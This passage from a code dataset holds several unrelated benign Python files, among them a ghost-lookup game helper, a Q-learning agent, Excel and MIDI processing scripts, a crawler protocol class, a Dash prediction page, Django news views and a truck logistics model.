= [i for i in self.ghosts_sep[evidence] if i in possible]\r\n                else:\r\n                    possible = self.ghosts_sep[evidence]\r\n                    \r\n        if possible != []:\r\n            self.possible = possible\r\n        else:\r\n            self.possible = self.ghosts.keys() \r\n    \r\n    ## command line specific\r\n    def displayHelp(self) -> UPL.null:\r\n        print(\"[add] Add Evidence\\n[rem] Remove Evidence\\n[look] Ghost Lookup\\n[ghosts] Display all possible ghosts\\n[evi] Display all current evidences\\n[clear] Clears the screen\\n[help] Display help\\n[exit] Exits\")\r\n        \r\n    def main(self) -> UPL.null:\r\n        \"\"\"\r\n            @params:\r\n                None\r\n                \r\n            @returns:\r\n                None\r\n                \r\n            Runs all the time and gets user input\r\n        \"\"\"\r\n        self.displayHelp()\r\n        while True:\r\n            \r\n            ## get user input\r\n            user_inp = UPL.Core.ainput(\"> \", str, 3).lower()\r\n            \r\n            if user_inp == \"exit\":\r\n                sys.exit(0)\r\n            \r\n            elif user_inp == \"ghosts\":\r\n                self.display_possible()\r\n                continue\r\n            \r\n            elif user_inp == \"evi\":\r\n                print(\"All collected evidence: \")\r\n                for evidence in self.current_round:\r\n                    print(f\"\\t{evidence}\")\r\n                \r\n                continue\r\n              \r\n            elif user_inp == \"clear\":\r\n                UPL.Core.clear()\r\n                continue  \r\n            \r\n            cmd, data = user_inp.split(\" \", 1)\r\n            \r\n\r\n            if cmd == \"add\":\r\n                data = self.get_evidenceType(data)\r\n                if data not in self.current_round:\r\n                    self.current_round.append(data)\r\n                    \r\n                self.current_guess()\r\n                self.display_possible()\r\n                \r\n            elif cmd == \"rem\":\r\n                data = self.get_evidenceType(data)\r\n                if data in self.current_round:\r\n                    self.current_round.remove(data)\r\n                \r\n                self.current_guess()\r\n                self.display_possible()\r\n                    \r\n            elif cmd == \"look\":\r\n                data = data.lower().capitalize()\r\n                if data in self.ghosts.keys():\r\n                    print(f'{data}:\\n\\tDescription: {self.ghosts[data][\"Description\"]}\\n\\tStrength: {self.ghosts[data][\"Strength\"]}\\n\\tWeakness: {self.ghosts[data][\"Weakness\"]}\\nEvidence:\\n\\t{self.ghosts[data][\"Evidence\"][0]}\\n\\t{self.ghosts[data][\"Evidence\"][1]}\\n\\t{self.ghosts[data][\"Evidence\"][2]}')\r\n                    \r\n                else:\r\n                    print(\"What the kinda ghost is that...\")\r\n                \r\n            elif cmd == \"help\":\r\n                self.displayHelp()\r\n                \r\n            else:\r\n                pass\r\n\r\n## !! START !! ##\r\nif __name__ == \"__main__\":\r\n    ghost_data = UPL.Core.file_manager.getData_json(\"ghosts.json\")\r\n    tool = phasmoTool(ghost_data)\r\n    tool.main()","sub_path":"phasmo_tool/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":9666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"537352093","text":"import numpy as np\nimport random\nimport copy\n\n\nclass UCBH(object):\n    def __init__(self, env, K, c=0.01, p=0.01, bonus=0):\n        self.env = env\n        self.K = K\n        self.c = c\n        self.p = p\n        self.iota = np.log(self.env.nState * self.env.nAction * self.env.epLen * self.K / self.p)\n        self.learning_rate = 1\n        self.bonus = bonus\n        self.buffer = {h: [] for h in range(self.env.epLen)}\n        self.N = {(h, s, a): 0.0 for h in range(self.env.epLen + 1) for s in self.env.states.keys() \\\n                  for a in range(self.env.nAction)}\n        if bonus == 5:\n            init_value = 1 + self.env.epLen + c * np.sqrt(self.env.epLen**3 * self.iota)\n            self.Q = {(h, s, a): init_value for h in range(self.env.epLen) for s in self.env.states.keys() \\\n                      for a in range(self.env.nAction)}\n        else:\n            self.Q = {(h, s, a): self.env.epLen for h in range(self.env.epLen) for s in self.env.states.keys() \\\n                      for a in range(self.env.nAction)}\n\n\n    def act(self):\n        s = self.env.state\n        h = self.env.timestep\n        return self.greedy_action(s, h)\n\n    def greedy_action(self, s, h):\n        x = np.array([self.Q[(h, s, a)] for a in range(self.env.nAction)])\n        return self.env.argmax(x)\n\n    def learn(self, action, reward, s_):\n        self.update_value_functions(action, reward, s_)\n\n    def update_value_functions(self, action, reward, s_):\n        self.N[(self.env.timestep - 1, self.env.prev_state, action)] += 1\n        t = self.N[(self.env.timestep - 1, self.env.prev_state, action)]\n        bonus = self.my_bonus(t)\n        self.learning_rate = (self.env.epLen + 1) / (self.env.epLen + t)\n\n        old_value = self.Q[(self.env.timestep - 1, self.env.prev_state, action)]  # the timestep and state were incremented while acting\n        if self.env.timestep < self.env.epLen:\n            future_action = self.greedy_action(s_, self.env.timestep)\n            future_reward = min(self.env.epLen, self.Q[(self.env.timestep, s_, future_action)])\n        else:\n            future_reward = 0\n\n        new_value = (1 - self.learning_rate) * old_value + self.learning_rate * (reward + future_reward + bonus)\n        self.Q[(self.env.timestep - 1, self.env.prev_state, action)] = new_value\n\n    def my_bonus(self, t):\n        if self.bonus == 0:\n            return self.c * np.sqrt((self.env.epLen ** 3) * self.iota / t)\n        elif self.bonus == 1:\n            return self.c * np.sqrt((self.env.epLen ** 3) * self.iota / (t**2))\n        elif self.bonus == 2:\n            return self.c * np.sqrt((self.env.epLen ** 3) * self.iota / np.sqrt(t))\n        elif self.bonus == 3:\n            return self.c * np.sqrt((self.env.epLen ** 4) * self.iota / t)\n        elif self.bonus == 4:\n            return self.c * np.sqrt((self.env.epLen ** 2) * self.iota / t)\n        else:\n            return self.c * np.sqrt((self.env.epLen ** 3) * self.iota / t)\n","sub_path":"qlearning-combination_lock/UCBH.py","file_name":"UCBH.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"541868514","text":"from util import *\r\nfrom StringUtils import *\r\nimport sys\r\nimport numpy as np\r\n\r\ndef createData(df):\r\n    unwantedString = {'nan', '-', '', np.nan}\r\n    replaceString = {'single', 'Single'}\r\n    # Column header\r\n    Module_col_ind0 = 0\r\n    MDL_DataType_col_ind7 = 7\r\n    MDL_Variable_col_ind8 = 8\r\n    MDL_Count_col_ind12 = 12\r\n\r\n    MDL_Count = 'MDL_Count'\r\n    Combine_VarArr = 'Combine_VarArr'\r\n    MDL_Variable = 'MDL_Variable'\r\n    MDL_ModVar = 'MDL_ModVar'\r\n    MDL_Array2D1D = 'MDL_Array2D1D'\r\n    MDL_DataType = 'MDL_DataType'\r\n    # ------------------------------\r\n    # Change column name for SigName(CAN/LIN/MDL)\r\n    df = drop(df, 'Status', \"Not Valid\")\r\n\r\n    # ------------------------------\r\n    # Create column data type from SigName(MDL)\r\n    # Remove unwanted strings, arrays and values\r\n    df[MDL_DataType] = reg_replace(\r\n        df, '型[配列サイズ]', r'\\[(.*){1,3}\\]\\[(.*){1,3}\\]|\\[(.*){1,3}\\]', '')\r\n\r\n    for i in unwantedString:\r\n        df = drop(df, MDL_DataType, i)\r\n    for i in replaceString:\r\n        df[MDL_DataType] = replace(df, MDL_DataType, i, 'float32')\r\n\r\n    # ------------------------------\r\n    # Create column variable names from SigName(MDL)\r\n    df[MDL_Variable] = reg_replace(\r\n        df, 'SigName(MDL)', r'\\[(.*){1,3}\\]\\[(.*){1,3}\\]|\\[(.*){1,3}\\]', '')\r\n    df[MDL_Variable] = reg_replace(\r\n        df, MDL_Variable, r'\\((.*){1,3}\\)', '')\r\n    \r\n    # ------------------------------\r\n    # Create 2d array from Signame(MDL)\r\n    df[MDL_Array2D1D] = reg_replace(\r\n        df, '型[配列サイズ]', r'^\\w*\\d{0,2}[^\\[]|(\\[\\D+\\]|\\[\\D+\\]\\[\\D+\\])', '')\r\n        \r\n    # ------------------------------\r\n    # For FunctionVariable.xlsx input file\r\n    df[MDL_ModVar] = df['対象モデル'] + '_' + df[MDL_Variable]\r\n    \r\n    # ------------------------------\r\n    # Combine and drop duplicate variable name\r\n    df[Combine_VarArr] = df['対象モデル'] + \\\r\n        df[MDL_Variable] + df[MDL_Array2D1D]\r\n    df = df.drop_duplicates(subset=[Combine_VarArr], keep='last')\r\n    \r\n    # ------------------------------\r\n    # Combine, count and drop duplicate data from Signame(MDL)\r\n    df[MDL_Count] = df.MDL_ModVar.map(df.MDL_ModVar.value_counts())\r\n    df = df.drop_duplicates(subset=[MDL_ModVar], keep='last')\r\n    df[MDL_Count] = ('[' + df[MDL_Count].astype(str) + ']')\r\n    countCond = df.MDL_Count == '[1]'\r\n    df.MDL_Count[countCond] = df.MDL_Array2D1D[df.MDL_Array2D1D != '']\r\n    for i in unwantedString:\r\n        df[MDL_Count] = replace(df, MDL_Count, i, '')\r\n\r\n    createExcelFile(df, 'ForFunctionVariable.xlsx')\r\n    string = []\r\n    moduleName = []\r\n    for row in range(df.shape[0]):\r\n        Module = df.iat[row, Module_col_ind0]\r\n        MDL_DataType = df.iat[row, MDL_DataType_col_ind7]\r\n        MDL_Variable = df.iat[row, MDL_Variable_col_ind8]\r\n        MDL_Count = df.iat[row, MDL_Count_col_ind12]\r\n        if MDL_Count == '':\r\n            string.append(createVarName(\r\n                Module, MDL_DataType, MDL_Variable, '', False))\r\n            moduleName.append(Module)\r\n        else:\r\n            string.append(createVarName(Module, MDL_DataType,\r\n                                        MDL_Variable, MDL_Count, True))\r\n            moduleName.append(Module)\r\n    df = pd.DataFrame({'Module': moduleName, 'DataType': string})\r\n    createExcelFile(df, 'ForMergingTextFile.xlsx')\r\n\r\ndef createVarName( module, datatype, varName, index, boolean ):\r\n\r\n    # datatype +  module + varName               +   index  ;\r\n    # float32  +  CUS_   + varCurveDecInfoRadius + [ index ];\r\n    string = datatype + ' ' + module + '_' + varName\r\n    if boolean:\r\n        return string + index + ';'\r\n    else:\r\n        return string + ';'\r\n\r\ndef main(argv):\r\n    #             Sheet name , Use cols , Skip rows\r\n    #             [0]        , [1]      , [2]\r\n    inputData = ['Interface', 'A,B,D,E,I,J,K', 12]\r\n\r\n    filename = readArgParse()\r\n    if filename:\r\n        df = readExcelFile(filename, inputData)\r\n        createData(df)\r\n    else:\r\n        print('Please input: python ' + sys.argv[0] + ' -h')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    #print(__name__)\r\n    main(sys.argv[1:])\r\n","sub_path":"MCU_App/DataManipulation.py","file_name":"DataManipulation.py","file_ext":"py","file_size_in_byte":4140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"174600539","text":"import argparse\nimport base64\nimport json\nimport os\nimport sys\n\nimport common_functions\nimport entity_detector\n\n#Initial Query:\n#    Confidence Greater Than or Equal To Zero\ninitial_query = json.loads('''{\n  \"condition\": \"AND\",\n  \"rules\": [\n    {\n      \"field\": \"table.hostname\",\n      \"operator\": \"contains\",\n      \"value\": \"REPLACEME\"\n    }\n  ],\n  \"valid\": true\n}''')\n\n\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser(description = 'Print hostnames in Platform for Domain(s)')\n\n    optional = parser._action_groups.pop()\n\n    required = parser.add_argument_group('required arguments')\n\n    required.add_argument(\"-i\", \"--input\", required=True, help=\"File with possible additional domains\")\n\n    optional.add_argument(\"-c\", \"--confidence\", action='store_true', default=False,\n        help=\"If provided, print confidence of the entity along with the entity name\")\n\n    parser._action_groups.append(optional)\n\n    args = parser.parse_args()\n\n\n    with open(args.input, 'r+') as f:\n\n        for line in f:\n\n            domain = common_functions.line_cleaner(line)\n        \n            initial_query['rules'][0]['value'] = domain\n            \n            for host in common_functions.get_hostnames(initial_query):\n                \n                if args.confidence:\n                \n                    print(host.hostname, host.confidence)\n                \n                else:\n                    \n                    print(host.hostname)\n                \n","sub_path":"print/hostnames_for_specific_domain.py","file_name":"hostnames_for_specific_domain.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"168241901","text":"from datetime import datetime\nfrom urllib.parse import unquote, quote, urlparse\n\nfrom findex_crawl.controllers.crawl import DiscoveredFile\nfrom findex_common.exceptions import FindexException\n#from findex_common.static_variables import\n\nfrom twisted.python import log\nfrom twisted.internet.defer import inlineCallbacks\n\n\nclass FindexProtocol(object):\n    def __init__(self, name, resource, basepath, address, port, **kwargs):\n        self.name = name\n        self.basepath = basepath\n\n        if not isinstance(resource.id, int):\n            raise FindexException(\"resource_id must be integer\")\n        self.resource = resource\n        self.banner = None\n        self.address = address\n        self.address_parsed = urlparse(self.address)\n        self.port = port\n\n        self.auth_user = kwargs.get(\"auth_user\", None)\n        self.auth_pass = kwargs.get(\"auth_pass\", None)\n        self.auth_method = kwargs.get(\"auth_method\", None)\n        if self.auth_method:\n            self.auth_method = self.auth_method.lower()\n\n        self.timeout = kwargs.get(\"timeout\", 0)\n        try:\n            self.timeout = int(self.timeout)\n        except:\n            pass\n\n        self.reconnect_counter = 0\n        self.connection_closed = False\n\n        self.banner = None\n        self.speed = None\n\n        self._creator = None  # twisted.internet.protocol.ClientCreator\n        self._client = None\n        self.kwargs = kwargs\n        self.index00 = None\n\n    @inlineCallbacks\n    def connection_close(self):\n        log.msg(\"[%s] Connection closing\" % self.name)\n        self.connection_closed = True\n\n    def connection_failed(self, f):\n        log.err(\"[%s] Connection failed\" % self.name)\n        self.connection_closed = True\n\n    def create(self):\n        \"\"\"return true on success\"\"\"\n        pass\n\n    def close(self):\n        pass\n\n    @staticmethod\n    def parse_00index(resource_id, b):\n        \"\"\"\n        :param b: 00INDEX.gz as bytes\n        :param resource_id: resource.id\n        :return: list of DiscoveredFiles\n        \"\"\"\n        import zlib\n        decompressed = zlib.decompressobj(16 + zlib.MAX_WBITS)\n        protoindex = decompressed.decompress(b)\n        protoindex = protoindex.decode(\"latin\")\n\n        output = []\n        pi = protoindex.split(\"\\n\")\n        if not protoindex.startswith('# proto-index v=1.0.0') \\\n                or not protoindex.endswith('# end proto-index\\n'):\n            raise Exception(\"Only proto-index 1.0.0 is supported\")\n\n        for line in pi[1:-2]:\n            if not line.startswith(\"f\") and not line.startswith(\"d\"):\n                continue\n\n            spl = line.split(\" \")\n            spl[4] = \" \".join(spl[4:])\n            spl = spl[:5]\n\n            isdir = True if line.startswith(\"d\") else False\n            fileperm = int(spl[3])\n            filesize = int(spl[2])\n\n            # if not isdir:\n            file_spl = spl[4].split(\"/\")\n            filename = file_spl[-1]\n            filepath = \"/\" + \"/\".join(file_spl[:-1])\n            if not filepath.endswith(\"/\"): filepath += \"/\"\n\n            try:\n                modified = datetime.fromtimestamp(float(spl[1]))\n            except:\n                modified = None\n\n            output.append(\n                DiscoveredFile(resource_id, filepath, filename, isdir, filesize, modified, fileperm))\n        return output\n\n    @property\n    def protocol(self):\n        return self.__class__.__name__\n\n\ndef get_protocol(protocol):\n    from findex_crawl.network.ftp import Ftp\n    from findex_crawl.network.filesystem import Fs\n    from findex_crawl.network.http import Http\n    from findex_crawl.network.smb import Smb\n\n    networks = {\"ftp\": Ftp, \"fs\": Fs, \"http\": Http, \"smb\": Smb}\n    if protocol not in networks:\n        raise FindexException(\"Unknown protocol: %s not in (%s)\" % (\n            protocol, \",\".join(networks.keys())))\n    return networks[protocol]\n","sub_path":"findex_crawl/network/protocol.py","file_name":"protocol.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"33012588","text":"import os\nimport mido\nfrom mido import MidiFile\n\n\nfor file_name in os.listdir('schubert_lieder'):\n\tif '.mid' in file_name:\n\t\t# print file_name\n\t\tfull_path = './schubert_lieder/' + file_name\n\t\tprint('==========================================================')\n\t\tprint(full_path)\n\n\t\tmid = MidiFile(full_path)\n\n\t# create array of notes\n\tnotes = []\n\tmessages = []\n\n\t#righthand-notes and time only\n\tfor message in mid.tracks[1]:\n\t\t# track1 = righthand, track2 = lefthand\n\t\tmessages.append(message)\n\n\tfor m in range(len(messages)):\n\t\tprint(messages[m])\n\t\tnote = \"\"\n\t\tif messages[m].type == 'note_on':\n\t\t\tmessage_components = str(messages[m]).split(' ')\n\t\t\tfor item in message_components:\n\t\t\t\tif 'note=' in item:\n\t\t\t\t\t# notes.append(item.split('note=')[1])\n\t\t\t\t\tnote = item.split('note=')[1]\n\t\t\tmessage_components = str(messages[m+1]).split(' ')\n\t\t\tfor item in message_components:\n\t\t\t\tif 'time=' in item:\n\t\t\t\t\ttime = item.split('time=')[1]\n\n\t\tif note != \"\" and time!=0:\n\t\t\tnotes.append(str(note + \"_\" + time))\n\n\tnotes = ' '.join(notes)\n\t#print(notes)\n\n\nif __name__ == '__main__':\n\t#write notes to text file\n\tnote_file = open(\"./miditext/input_schubert.txt\", \"w\")\n\tnote_file.write(notes)\n\tnote_file.close()\n\n\n\n\n\n\n","sub_path":"older_scripts/process_midi.py","file_name":"process_midi.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"557698185","text":"import json\nfrom pathlib import Path\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nif __name__ == \"__main__\":\n    paths = [\n        \"/scratch/06079/tg853783/ddmd/runs/ddp_aae_experiments/1-gpu_32-gbs\",\n        \"/scratch/06079/tg853783/ddmd/runs/ddp_aae_experiments/2-gpu_64-gbs\",\n        \"/scratch/06079/tg853783/ddmd/runs/ddp_aae_experiments/1-node_128-gbs\",\n        \"/scratch/06079/tg853783/ddmd/runs/ddp_aae_experiments/2-node_256-gbs\",\n        \"/scratch/06079/tg853783/ddmd/runs/ddp_aae_experiments/4-node_512-gbs\",\n        \"/scratch/06079/tg853783/ddmd/runs/ddp_aae_experiments/8-node_1024-gbs\",\n    ]\n\n    csv_files = [Path(p) / \"loss.json\" for p in paths]\n\n    # Epoch to start plotting from so the end behavior is more clearly shown\n    start_epoch = 10\n\n    # For testing\n    # csv_files = [Path(\"./test.json\").resolve()]\n\n    train_loss_eg_averages, train_loss_d_averages, valid_losses = [], [], []\n    for csv_file in csv_files:\n        with open(csv_file) as f:\n            data = json.load(f)\n        train_loss_eg_averages.append(data[\"train_loss_eg_average\"])\n        train_loss_d_averages.append(data[\"train_loss_d_average\"])\n        valid_losses.append(data[\"valid_loss\"])\n\n    titles = [\n        \"Reconstruction Training Loss\",\n        \"Discriminator Training Loss\",\n        \"Validation Loss\",\n    ]\n    loss_types = [train_loss_eg_averages, train_loss_d_averages, valid_losses]\n\n    for loss_type, title in zip(loss_types, titles):\n        df = pd.DataFrame(\n            {p.parent.name: loss for p, loss in zip(csv_files, loss_type)}\n        )\n        df[start_epoch:].plot(legend=True)\n        plt.title(title)\n        plt.xlabel(\"Epoch\")\n        plt.ylabel(\"Loss\")\n        plt.savefig(f'./img/{title.replace(\" \",\"\")}.png')\n","sub_path":"ddp_aae_experiments/generate_loss_curves.py","file_name":"generate_loss_curves.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"541481142","text":"# Imports from 3rd party libraries\nimport dash\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nfrom joblib import load\nimport pandas as pd\n# Imports from this application\nfrom app import app\n\n# 2 column layout. 1st column width = 4/12\n# https://dash-bootstrap-components.opensource.faculty.ai/l/components/layout\n\npipeline = load('assets/regression.joblib')\n\ncolumn1 = dbc.Col(\n    [\n        dcc.Markdown('## Predictions', className='mb-5'), \n        dcc.Markdown('#### Main Category'), \n        dcc.Dropdown(\n            id='main_category', \n            options = [\n                {'label': 'Publishing', 'value': 1}, \n                {'label': 'Film & Video', 'value': 2}, \n                {'label': 'Music', 'value': 3}, \n                {'label': 'Food', 'value': 4}, \n                {'label': 'Design', 'value': 5}, \n                {'label': 'Crafts', 'value': 6}, \n                {'label': 'Games', 'value': 7}, \n                {'label': 'Comics', 'value': 8}, \n                {'label': 'Fashion', 'value': 9}, \n                {'label': 'Theatre', 'value': 10},\n                {'label': 'Art', 'value': 11}, \n                {'label': 'Photography', 'value': 12}, \n                {'label': 'Technology', 'value': 13}, \n                {'label': 'Dance', 'value': 14}, \n                {'label': 'Journalism', 'value': 15}, \n            ], \n            value = 1, \n            className='mb-5' \n        ), \n\n        dcc.Markdown('#### Goal (Total Funding)'), \n        dcc.Slider(\n            id='goal', \n            min=0, \n            max=100000, \n            step=100, \n            value=0, \n            marks={n: str(n) for n in range(0,100000,20000)}, \n            className='mb-5'\n        ), \n \n        # dcc.Markdown('#### Backers'), \n        # dcc.Slider(\n        #     id='backers', \n        #     min=0, \n        #     max=20000, \n        #     step=100, \n        #     value=2000, \n        #     marks={n: str(n) for n in range(0,20000,4000)}, \n        #     className='mb-5' \n        # ),\n\n        dcc.Markdown('#### Length of Campaign (Days)'), \n        dcc.Slider(\n            id='length_of_campaign', \n            min=0, \n            max=100, \n            step=1, \n            value=10, \n            marks={n: str(n) for n in range(0,100,10)}, \n            className='mb-5' \n        ), \n        dcc.Markdown('#### Campaign Name Sentiment (Postive or Negative)'), \n        dcc.Slider(\n            id='sentiments', \n            min=0, \n            max=1, \n            step=.1, \n            value=0, \n            marks={n: str(n) for n in range(0,1)}, \n            className='mb-5' \n        ), \n    ],\n    md=4,\n)\n\ncolumn2 = dbc.Col(\n    [\n        html.H2('Kickstarter Campaign Results', className='mb-5'), \n        html.Div(id='outcome', className='lead')\n    ]\n)\n\n@app.callback(\n    Output('outcome', 'children'),\n    [Input('goal', 'value'),\n     Input('main_category', 'value'),Input('length_of_campaign', 'value'), \n     Input('sentiments', 'value')],\n)\ndef predict(main_category, goal, length_of_campaign, sentiments):\n    df = pd.DataFrame(\n        columns=['main_category', 'goal',\n                 'length_of_campaign',\n                'sentiments'], \n        data=[[main_category, goal, length_of_campaign, sentiments]]\n    )\n    y_pred = pipeline.predict(df)[0]\n    \n    def result(y_pred):\n        if y_pred == '1':\n            return html.Img(src='assets/success.png', className='img-fluid')\n        else:\n            return html.Img(src='assets/failure.jpeg', className='img-fluid')\n\n    return result(y_pred)\n\nlayout = dbc.Row([column1, column2])\n\n\n","sub_path":"pages/predictions.py","file_name":"predictions.py","file_ext":"py","file_size_in_byte":3696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"530899347","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport h5py\nfrom spipy.image import radp\nfrom spipy.analyse import q\nimport sys\n\nif __name__==\"__main__\":\n\tfi = sys.argv[1]\n\ttry:\n\t\texparam = sys.argv[2].split(',')\n\texcept:\n\t\texparam = None\n\tf = h5py.File(fi,'r')\n\tprtf = np.abs(np.fft.fftshift(f['PRTF'][...]))\n\tsize = prtf.shape\n\tprtf_rav = radp.radial_profile_2d(prtf,[size[0]/2,size[1]/2])\n\tsr = np.abs(np.fft.fftshift(f['sample retrieved'][...]))\n\tdr = np.abs(np.fft.fftshift(np.fft.fft2(np.fft.ifftshift(sr))))\n\td = np.abs(np.fft.fftshift(f['data'][...]))\n\tmetric = f['convergence metric'][...]\n\tmod_error = f['modulus error'][...]\n\n\tplt.figure(figsize=(20,10))\n\n\tplt.subplot(2,3,1)\n\tplt.imshow(np.log(1+sr))\n\tplt.title('retrieved (real space)')\n\n\tplt.subplot(2,3,2)\n\tplt.imshow(np.log(1+dr))\n\tplt.title('retrieved (reciprocal space)')\n\n\tplt.subplot(2,3,3)\n\tplt.imshow(np.log(1+d))\n\tplt.title('input (reciprocal space)')\n\n\tax1 = plt.subplot(2,3,4)\n\tplt.plot(metric.mean(axis=0),'-k')\n\tax1.set_yscale('log')\n\tplt.xlabel('steps')\n\tplt.title('convergence')\n\n\tax2 = plt.subplot(2,3,5)\n\tplt.plot(mod_error.mean(axis=0),'-r')\n\tax2.set_yscale('log')\n\tplt.xlabel('steps')\n\tplt.title('modulus error')\n\t\n\tax3 = plt.subplot(2,3,6)\n\t# q = np.load('resolution.npy')\n\tqlen = int(np.floor(len(prtf_rav)/np.sqrt(2)))\n\tif exparam is not None:\n\t\tqinfo = q.cal_q(float(exparam[0]),float(exparam[1]),float(exparam[2]),float(exparam[3]))\n\telse:\n\t\tqinfo = np.arange(qlen)\n\tplt.plot(qinfo[:qlen],prtf_rav[:qlen],'-k')\n\tplt.xlabel('q')\n\tplt.plot(qinfo[:qlen],np.zeros(qlen)+1/np.e,'r--')\n\tplt.title('PRTF radial average')\n\n\tplt.show()\n","sub_path":"phase/template_2d/show_result.py","file_name":"show_result.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"638072352","text":"from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.utils import timezone\n\nfrom .models import Post\nfrom .forms import PostForm, CommentForm\n\n\n@login_required(login_url=\"portal/login\")\ndef post_list(request):\n    time_now = timezone.now()\n    posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('-published_date')\n    return render(request, 'news/index.html', {'posts': posts, \"time_now\": time_now})\n\n\n@login_required(login_url=\"portal/login\")\ndef post_detail(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    return render(request, 'news/post_detail.html', {'post': post})\n\n\n@login_required(login_url=\"portal/login\")\ndef post_new(request):\n    if request.method == \"POST\":\n        form = PostForm(request.POST)\n        if form.is_valid():\n            post = form.save(commit=False)\n            post.author = request.user\n            post.name = request.user.get_full_name()\n            post.save()\n            return redirect('news:post_detail', pk=post.pk)\n    else:\n        form = PostForm()\n    return render(request, 'news/post_edit.html', {'form': form})\n\n\n@login_required(login_url=\"portal/login\")\ndef post_edit(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    if request.method == \"POST\":\n        form = PostForm(request.POST, instance=post)\n        if form.is_valid():\n            post = form.save(commit=False)\n            post.author = request.user\n            post.name = request.user.get_full_name()\n            post.save()\n            return redirect('news:post_detail', pk=post.pk)\n    else:\n        form = PostForm(instance=post)\n    return render(request, 'news/post_edit.html', {'form': form})\n\n\n@login_required(login_url=\"portal/login\")\ndef post_remove(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    post.delete()\n    return redirect('news:post_list')\n\n\n@login_required(login_url=\"portal/login\")\ndef post_draft_list(request):\n    posts = Post.objects.filter(published_date__isnull=True).order_by('created_date')\n    return render(request, 'news/post_draft_list.html', {'posts': posts})\n\n\n@login_required(login_url=\"portal/login\")\ndef post_publish(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    post.publish()\n    return redirect('news:post_detail', pk=pk)\n\n\n@login_required(login_url=\"portal/login\")\ndef post_remove(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    post.delete()\n    return redirect('news:post_list')\n\n\n@login_required(login_url=\"portal/login\")\ndef add_comment(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    if request.method == \"POST\":\n        form = CommentForm(request.POST)\n        if form.is_valid():\n            comment = form.save(commit=False)\n            comment.author = request.user.username\n            comment.name = request.user.get_full_name()\n            comment.post = post\n            comment.save()\n            return redirect('news:post_detail', pk=post.pk)\n    else:\n        form = CommentForm()\n    return render(request, 'news/add_comment.html', {'form': form})\n","sub_path":"news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"546339379","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\"\"\"\n@File    :   trunk.py\n@Contact :   liuhaobwjc@163.com\n@License :   (C)Copyright 2017-2018, Liugroup-NLPR-CASIA\n\n@Modify Time      @Author    @Version    @Desciption\n------------      -------    --------    -----------\n2019-03-01 11:02   liuhao      1.0         None\n\"\"\"\nimport random\nfrom cmath import sqrt\n\nfrom data.StatueData import TRUNK_IN_ORDER, TRUNK_TYPE_BIG, TRUNK_TYPE_MIDDLE, TRUNK_TYPE_SMALL, TRUNK_ON_ROAD, \\\n    TRUNK_IN_ORDER_DESTINATION, TRUNK_NOT_USE, TRUNK_ON_ROAD_NOT_USE\nfrom data.position import Position\nfrom global_data import trunk_num, base_num, distance_around\nfrom model.base_station import BaseStation\nfrom model.destination import Destination\nfrom model.inquiry_info import InquiryInfo\nimport logging\nimport sys\n\n\nclass Trunk:\n\n    def __init__(self, trunk_id, inquiry_info, trunk_speed=100):\n\n        # 车辆编号\n        self.trunk_id = trunk_id\n        # 车辆类型,数字表示运载量\n        if self.trunk_id < trunk_num/3:\n            self.trunk_type = TRUNK_TYPE_SMALL\n        elif self.trunk_id < trunk_num*2/3:\n            self.trunk_type = TRUNK_TYPE_MIDDLE\n        else:\n            self.trunk_type = TRUNK_TYPE_BIG\n\n        # 车类归属网点\n        self.trunk_base_id = trunk_id % base_num\n        # 车辆状态\n        self.trunk_state = TRUNK_IN_ORDER\n        if not isinstance(inquiry_info, InquiryInfo):\n            logging.error(\"Please enter right InquiryInfo\")\n            sys.exit(1)\n        # 辅助查询类\n        self.inquiry_info = inquiry_info\n        # 车辆位置\n        self.trunk_position = inquiry_info.inquiry_base_position_by_id(self.trunk_base_id)\n        # 车辆目的地序列，由所加订单确定\n        self.trunk_target_position_list = []\n        # 车辆到达目的地序列时间\n        self.trunk_target_time_list = []\n        # 预计车辆进入等计划状态时间\n        self.trunk_finish_order_time = 0\n        # 所运小汽车所属订单序列\n        self.trunk_car_order_list = []\n        # 汽车速度\n        self.trunk_speed = trunk_speed\n        # 此坐标表示未来运输车将去的网点\n        self.trunk_future_base_station_id = None\n        # 此坐标表示车当前所在网点id\n        self.trunk_current_base_station_id = self.trunk_base_id\n\n        # 前一天车坐标\n        self.trunk_before_day_position = self.trunk_position\n        # 汽车在网点等待时间\n        self.wait_day = 0\n        # 汽车因为各种原因等待时间\n        self.sleep_day = 0\n\n        # 附近网点\n        self.near_base_list = []\n        